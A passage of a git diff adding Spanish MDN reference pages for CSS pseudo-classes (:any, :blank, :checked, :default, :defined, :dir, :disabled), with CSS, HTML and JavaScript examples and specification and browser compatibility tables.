+<div class="note"><strong>Nota:</strong> Esta pseudo-clase está en progreso de ser estandarizada en <a class="external" href="http://dev.w3.org/csswg/selectors4/#matches" title="http://dev.w3.org/csswg/selectors4/#matches"><em>Selectores CSS Nivel 4</em></a> bajo el nombre <code>:matches()</code>. Es probable que la sintaxis y el nombre de <code>:-<em>vendor</em>-any()</code> sean cambiados para reflejar el estándar en el futuro próximo.</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt><code>selector</code></dt>
+ <dd>Un selector. Puede ser un selector simple o un selector múltiple, comprendido de <a class="external" href="http://www.w3.org/TR/css3-selectors/#simple-selectors" title="http://www.w3.org/TR/css3-selectors/#simple-selectors">selectores simples de CSS 3</a>, y puede incluir el combinador descendiente.</dd>
+</dl>
+
+<div class="note"><strong>Nota:</strong> Los selectores pueden <strong>no</strong> contener pseudo-elementos , y el combinador único combinador permitido es el de descendientes.</div>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<p>Por ejemplo, el siguiente CSS:</p>
+
+<pre class="brush: css">/* Listas desordenadas a tres (o más) niveles de profundidad que usarán viñeta de cuadrado */
+ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
+ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
+ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
+ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
+ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
+ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
+menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
+menu ol menu, menu ul menu, menu menu menu, menu dir menu,
+menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
+dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
+dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
+dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
+  list-style-type: square;
+}
+</pre>
+
+<p>Puede ser reemplazado con:</p>
+
+<pre class="brush: css">/* Listas desordenadas a tres (o más) niveles de profundidad que usarán viñeta de cuadrado */
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) ul,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) menu,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) dir {
+  list-style-type: square;
+}</pre>
+
+<p>Sin embargo, no se debe usar lo siguiente: (Véase <a href="#Issues_with_performance_and_specificity">la sección de rendimiento</a> abajo.)</p>
+
+<pre class="brush: css">:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) :-moz-any(ul, menu, dir) {
+  list-style-type: square;
+}</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Esto es particularmente útil al tratar con <a href="/es/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">secciones y encabezados</a> de HTML5. Puesto que {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, y {{HTMLElement("nav")}} pueden ser anidados, puede ser complicado aplicar estilos sin usar <code>:any()</code>.</p>
+
+<p>Por ejemplo, sin <code>:any()</code>, estilizar todos los {{HTMLElement("h1")}} a diferentes niveles de profundidad podría ser muy complicado:</p>
+
+<pre class="brush: css">/* Nivel 0 */
+h1 {
+  font-size: 30px;
+}
+/* Nivel 1 */
+section h1, article h1, aside h1, nav h1 {
+  font-size: 25px;
+}
+/* Nivelo 2 */
+section section h1, section article h1, section aside h1, section nav h1,
+article section h1, article article h1, article aside h1, article nav h1,
+aside section h1, aside article h1, aside aside h1, aside nav h1,
+nav section h1, nav article h1, nav aside h1, nav nav h1, {
+  font-size: 20px;
+}
+/* Level 3 */
+/* ... ni siquiera lo pienses*/
+</pre>
+
+<p>Usando <code>:-any()</code>, en cambio, es mucho más fácil:</p>
+
+<pre class="brush: css">/* Nivel 0 */
+h1 {
+  font-size: 30px;
+}
+/* Nivel 1 */
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+/* Nivel 2 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+/* Nivel 3 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 15px;
+}</pre>
+
+<h3 id="Issues_with_performance_and_specificity" name="Issues_with_performance_and_specificity">Problemas con rendimiento y especificidad</h3>
+
+<p><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=561154" title="https://bugzilla.mozilla.org/show_bug.cgi?id=561154">Bug 561154</a> sigue un problema con Gecko donde la especificidad de <code>:-moz-any()</code> es incorrecta. La implementación hasta Firefox 12 pone a <code>:-moz-any()</code> en la categoría de reglas universales, por lo que usarlo como el selector más hacia la derecha será más lento que usando un ID, una clase o etiqueta como el selector a la derecha.</p>
+
+<p>Por ejemplo</p>
+
+<pre class="brush: css">.a &gt; :-moz-any(.b, .c)
+</pre>
+
+<p>es más lento que:</p>
+
+<pre class="brush: css">.a &gt; .b, .a &gt; .c
+</pre>
+
+<p>y lo siguiente es rápido:</p>
+
+<pre class="brush: css">:-moz-any(.a, .d) &gt; .b, :-moz-any(.a, .d) &gt; .c
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatGeckoDesktop("2")}}{{property_prefix("-moz")}}</td>
+   <td>12.0 (534.30){{property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>5<br>
+    {{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>5<br>
+    {{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_colon_blank/index.html b/files/es/web/css/_colon_blank/index.html
new file mode 100644
index 0000000000..8545c5ce04
--- /dev/null
+++ b/files/es/web/css/_colon_blank/index.html
@@ -0,0 +1,54 @@
+---
+title: ':blank'
+slug: 'Web/CSS/:blank'
+tags:
+  - ':blank'
+  - Borrador
+  - CSS
+  - Experimental
+translation_of: 'Web/CSS/:blank'
+---
+<p>{{CSSRef}}{{Draft}}{{SeeCompatTable}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> El selector <code>:blank</code> esta considerado en riesgo, puesto que la CSSWG sigue haciendo cambios.</p>
+
+<p>Ver <a href="https://github.com/w3c/csswg-drafts/issues/1967" title="[selectors] decide on :blank">CSSWG issue #1967</a>.</p>
+</div>
+
+<p>La <a href="/en-US/docs/Web/CSS">pseudo-clase CSS</a> <strong><code>:blank</code></strong> selecciona elementos de entrada vaciós (eg. {{HTMLElement("input")}} or {{HTMLElement("textarea")}}).</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+
+
+<p>{{Compat("css.selectors.blank")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{CSSxRef(":empty")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_checked/index.html b/files/es/web/css/_colon_checked/index.html
new file mode 100644
index 0000000000..fd5bb8e13c
--- /dev/null
+++ b/files/es/web/css/_colon_checked/index.html
@@ -0,0 +1,197 @@
+---
+title: ':checked'
+slug: 'Web/CSS/:checked'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:checked'
+---
+<div>{{ CSSRef() }}</div>
+
+<p>La <a href="es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <code style="font-style: normal;">:checked</code> de <a href="/es/docs/Web/CSS">CSS</a> representa cualquier <strong>radio </strong>(<a href="/es/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a>), <strong>checkbox </strong>(<a href="/es/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a>) u <strong>option</strong> ({{ HTMLElement("option") }} en un elemento {{ HTMLElement("select") }}) que está marcado o conmutado a un estado <code>on</code>.</p>
+
+<pre class="brush: css"><code>/* Coincide con cualquier checked/selected radio, checkbox, u option */
+:checked {
+  margin-left: 25px;
+  border: 1px solid blue;
+}</code></pre>
+
+<p>El usuario puede activar este estado marcando/seleccionando un elemento, o desactivándolo desmarcando/deseleccionando el elemento.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Debido a que los navegadores a menudo tratan las <code>&lt;option&gt;</code> s como <a href="/es/docs/Web/CSS/Replaced_element">elementos reemplazados</a>, la medida en que se pueden diseñar con la pseudo-clase <code>:checked</code> varía de un navegador a otro.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;input type="radio" name="my-input" id="yes"&gt;
+  &lt;label for="yes"&gt;Yes&lt;/label&gt;
+
+  &lt;input type="radio" name="my-input" id="no"&gt;
+  &lt;label for="no"&gt;No&lt;/label&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;input type="checkbox" name="my-checkbox" id="opt-in"&gt;
+  &lt;label for="opt-in"&gt;Check me!&lt;/label&gt;
+&lt;/div&gt;
+
+&lt;select name="my-select" id="fruit"&gt;
+  &lt;option value="opt1"&gt;Apples&lt;/option&gt;
+  &lt;option value="opt2"&gt;Grapes&lt;/option&gt;
+  &lt;option value="opt3"&gt;Pears&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div,
+select {
+  margin: 8px;
+}
+
+/* Etiquetas para entradas marcadas */
+input:checked + label {
+  color: red;
+}
+
+/* Elemento Radio, cuando está marcado */
+input[type="radio"]:checked {
+  box-shadow: 0 0 0 3px orange;
+}
+
+/* Elemento Checkbox, cuando está marcado */
+input[type="checkbox"]:checked {
+  box-shadow: 0 0 0 3px hotpink;
+}
+
+/* Elementos Option, cuando se seleccionan */
+option:checked {
+  box-shadow: 0 0 0 3px lime;
+  color: red;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample("Ejemplo_básico")}}</p>
+
+<h3 id="Alternar_elementos_con_un_checkbox_oculto">Alternar elementos con un checkbox oculto</h3>
+
+<p>Este ejemplo utiliza la pseudoclase <code>:checked</code> para permitir al usuario alternar contenido según el estado de un <em>checkbox</em>, todo sin usar <a href="/es/docs/Web/JavaScript">JavaScript</a>.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;input type="checkbox" id="expand-toggle" /&gt;
+
+&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;&lt;th&gt;Columna #1&lt;/th&gt;&lt;th&gt;Columna #2&lt;/th&gt;&lt;th&gt;Columna #3&lt;/th&gt;&lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr class="expandable"&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr class="expandable"&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr class="expandable"&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;label for="expand-toggle" id="expand-btn"&gt;Toggle hidden rows&lt;/label&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* Hide the toggle checkbox */
+#expand-toggle {
+  display: none;
+}
+
+/* Hide expandable content by default */
+.expandable {
+  visibility: collapse;
+  background: #ddd;
+}
+
+/* Style the button */
+#expand-btn {
+  display: inline-block;
+  margin-top: 12px;
+  padding: 5px 11px;
+  background-color: #ff7;
+  border: 1px solid;
+  border-radius: 3px;
+}
+
+/* Show hidden content when the checkbox is checked */
+#expand-toggle:checked ~ * .expandable {
+  visibility: visible;
+}
+
+/* Style the button when the checkbox is checked */
+#expand-toggle:checked ~ #expand-btn {
+  background-color: #ccc;
+}</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample("Alternar_elementos_con_un_checkbox_oculto", "auto", 220)}}</p>
+
+<h3 id="Galería_de_imágenes">Galería de imágenes</h3>
+
+<p>Puede usar la pseudoclase <code>:checked</code> para crear una galería de imágenes con imágenes de tamaño completo que solo se muestran cuando el usuario hace clic en una miniatura. Vea <a href="/@api/deki/files/6268/=css-checked-gallery.zip">esta demostración</a>.</p>
+
+<div class="note"><strong>Nota:</strong> Para un efecto análogo, pero basado en la pseudoclase <a href="/es/docs/CSS/:hover" title="CSS/:hover"><code>:hover</code></a> y sin radioboxes ocultos, vea <a href="/@api/deki/files/6247/=css-gallery.zip">esta demostración</a>, tomada de la página de referencia <a href="/es/docs/CSS/:hover" title="CSS/:hover">:hover</a>.</div>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-checked', ':checked') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-checked', ':checked') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Define la semántica con respecto a HTML.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#checked', ':checked') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 UI', '#pseudo-checked', ':checked') }}</td>
+   <td>{{ Spec2('CSS3 UI') }}</td>
+   <td>Enlace al Nivel 3 de Selectores.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#checked', ':checked') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Define la pseudoclase, pero no la semántica asociada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.selectors.checked")}}</p>
diff --git a/files/es/web/css/_colon_default/index.html b/files/es/web/css/_colon_default/index.html
new file mode 100644
index 0000000000..e46989a6b0
--- /dev/null
+++ b/files/es/web/css/_colon_default/index.html
@@ -0,0 +1,99 @@
+---
+title: ':default'
+slug: 'Web/CSS/:default'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:default'
+---
+<p>{{ CSSRef() }}</p>
+
+<p>La <a href="es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:default</code></strong> de <a href="es/docs/Web/CSS">CSS</a> representa cualquier elemento de formulario que sea el predeterminado entre un grupo de elementos relacionados.</p>
+
+<p>Este selector se puede usar en los elementos {{htmlelement("button")}}, <a href="es/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a>, <a href="es/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a> y {{htmlelement("option")}}.</p>
+
+<pre class="brush: css">/* Selecciona cualquier &lt;input&gt; predeterminado */
+input:default {
+  background-color: lime;
+}</pre>
+
+<p>Los elementos agrupados que permiten selecciones múltiples también pueden tener múltiples valores predeterminados, es decir, pueden tener múltiples elementos seleccionados inicialmente. En este caso, <em>todos </em>los valores predeterminados se representan utilizando la pseudo-clase <code>:default</code>. Por ejemplo, puede diseñar las casillas de verificación predeterminadas entre un grupo de casillas de verificación (checkboxes).</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="radio" name="season" id="spring"&gt;
+&lt;label for="spring"&gt;Spring&lt;/label&gt;
+
+&lt;input type="radio" name="season" id="summer" checked&gt;
+&lt;label for="summer"&gt;Summer&lt;/label&gt;
+
+&lt;input type="radio" name="season" id="fall"&gt;
+&lt;label for="fall"&gt;Fall&lt;/label&gt;
+
+&lt;input type="radio" name="season" id="winter"&gt;
+&lt;label for="winter"&gt;Winter&lt;/label&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input:default {
+  box-shadow: 0 0 2px 1px coral;
+}
+
+input:default + label {
+  color: coral;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplo")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-default', ':default')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-default', ':default')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Define la semántica HTML asociada y la validación de restricciones.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#default-pseudo', ':default')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-default', ':default')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Definición inicial, pero sin la semántica asociada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.selectors.default")}}</p>
+
+<div>
+<p> </p>
+</div>
diff --git a/files/es/web/css/_colon_defined/index.html b/files/es/web/css/_colon_defined/index.html
new file mode 100644
index 0000000000..8e5921184f
--- /dev/null
+++ b/files/es/web/css/_colon_defined/index.html
@@ -0,0 +1,115 @@
+---
+title: ':defined'
+slug: 'Web/CSS/:defined'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:defined'
+---
+<div>{{ CSSRef }}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:defined</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa cualquier elemento que se haya definido.  Esto incluye cualquier elemento estándar integrado en el navegador y elementos personalizados que se hayan definido correctamente (es decir, con el método {{domxref("CustomElementRegistry.define()")}}).</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier elemento definido */
+:defined {
+  font-style: italic;
+}
+
+/* Selecciona cualquier instancia de un elemento personalizado específico */
+simple-custom:defined {
+  display: block;
+}
+</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Los siguientes fragmentos están tomados de nuestra demostración <a href="https://github.com/mdn/web-components-examples/tree/master/defined-pseudo-class">Pseudo-clase-definida</a> (<a href="https://mdn.github.io/web-components-examples/defined-pseudo-class/">ver también en directo</a>).</p>
+
+<p>En esta demostración, definimos un elemento personalizado trivial muy simple:</p>
+
+<pre class="brush: js">customElements.define('simple-custom',
+  class extends HTMLElement {
+    constructor() {
+      super();
+
+      let divElem = document.createElement('div');
+      divElem.textContent = this.getAttribute('text');
+
+      let shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(divElem);
+  }
+})</pre>
+
+<p>Luego inserta una copia de este elemento en el documento, junto con un <code>&lt;p&gt;</code> estándar:</p>
+
+<pre class="brush: html">&lt;simple-custom text="Texto de ejemplo del elemento personalizado"&gt;&lt;/simple-custom&gt;
+
+&lt;p&gt;Texto de ejemplo de párrafo estándar&lt;/p&gt;</pre>
+
+<p>En el CSS primero incluimos las siguientes reglas:</p>
+
+<pre class="brush: css">/* Dar a los dos elementos fondos distintivos */
+p {
+  background: yellow;
+}
+
+simple-custom {
+  background: cyan;
+}
+
+/* Tanto el elemento personalizado como el incorporado tienen texto en cursiva */
+:defined {
+  font-style: italic;
+}</pre>
+
+<p>A continuación, proporcione las dos reglas siguientes para ocultar las instancias de nuestro elemento personalizado que no están definidas y las instancias que se definen como elementos de nivel de bloque:</p>
+
+<pre class="brush: css">simple-custom:not(:defined) {
+  display: none;
+}
+
+simple-custom:defined {
+  display: block;
+}</pre>
+
+<p>Esto es útil si tiene un elemento personalizado complejo que demora un tiempo en cargarse en la página — es posible que desee ocultar las instancias del elemento hasta que la definición esté completa, para que no terminen con feos destellos de elementos sin estilo en la página</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'semantics-other.html#selector-defined', ':defined') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.defined")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components">Componentes web</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_dir/index.html b/files/es/web/css/_colon_dir/index.html
new file mode 100644
index 0000000000..b39c21888a
--- /dev/null
+++ b/files/es/web/css/_colon_dir/index.html
@@ -0,0 +1,108 @@
+---
+title: ':dir()'
+slug: 'Web/CSS/:dir'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-clase
+  - Referencia
+translation_of: 'Web/CSS/:dir'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <code>:dir</code> de <a href="/es/docs/Web/CSS">CSS</a> coincide con los elementos en función de la direccionalidad del texto contenido en ellos.</p>
+
+<pre class="brush: css">/* Selecciona cualquier elemento con texto de derecha a izquierda */
+:dir(rtl) {
+  background-color: red;
+}</pre>
+
+<p>La pseudo-clase <code>:dir()</code> usa solo el valor <em>semántico</em> de la direccionalidad, es decir, el definido en el documento mismo. No tiene en cuenta la direccionalidad del <em>estilo</em>, es decir, la direccionalidad establecida por las propiedades de CSS como {{cssxref("direction")}}.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Tenga en cuenta que el comportamiento de la pseudo-clase <code>:dir()</code> no es equivalente a los <a href="/es/docs/Web/CSS/Attribute_selectors">selectores de atributo</a> <code>[dir=...]</code>. Estos últimos coinciden con el atributo HTML {{htmlattrxref("dir")}} e ignoran los elementos que carecen de él, incluso si heredan una dirección de su padre. (De forma similar, <code>[dir=rtl]</code> y <code>[dir=ltr]</code> no coincidirán con el valor <code>auto</code>.) En contraste, <code>:dir()</code> coincidirá con el valor calculado por {{glossary("user agent")}}, incluso si se hereda.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota: </strong>En HTML, la dirección está determinada por el atributo {{htmlattrxref("dir")}} . Otros tipos de documentos pueden tener diferentes métodos.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La pseudoclase <code>:dir()</code> requiere un parámetro, que representa la direccionalidad de texto que desea orientar.</p>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>ltr</code></dt>
+ <dd>Orientar elementos de izquierda a derecha.</dd>
+ <dt><code>rtl</code></dt>
+ <dd>Orientar elementos de derecha a izquierda.</dd>
+ <dt>
+ <h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+ <pre>{{csssyntax}}
+</pre>
+ </dt>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div dir="rtl"&gt;
+  &lt;span&gt;test1&lt;/span&gt;
+  &lt;div dir="ltr"&gt;test2
+    &lt;div dir="auto"&gt;עִבְרִית&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:dir(ltr) {
+  background-color: yellow;
+}
+
+:dir(rtl) {
+  background-color: powderblue;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Ejemplo') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-ltr', ':dir(ltr)')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#the-dir-pseudo', ':dir()')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.selectors.dir")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Pseudo-clases relacionadas con el idioma: {{cssxref(":lang")}}, {{cssxref(":dir")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_disabled/index.html b/files/es/web/css/_colon_disabled/index.html
new file mode 100644
index 0000000000..ce16ddb96e
--- /dev/null
+++ b/files/es/web/css/_colon_disabled/index.html
@@ -0,0 +1,127 @@
+---
+title: ':disabled'
+slug: 'Web/CSS/:disabled'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:disabled'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <code>:disabled</code> de <a href="/en-US/docs/Web/CSS">CSS</a> representa a cualquier elemento deshabilitado. Un elemento se encuentra deshabilitado si no puede ser activado (por ejemplo ser selecionado, hacer click en él o aceptar texto de entrada) ni aceptar el foco. El elemento tiene además un estado habilitado en el cual puede ser activado o recibir foco.</p>
+
+<pre class="brush: css">/* Selecciona cualquier &lt;input&gt; deshabilitado */
+input:disabled {
+  background: #ccc;
+}</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
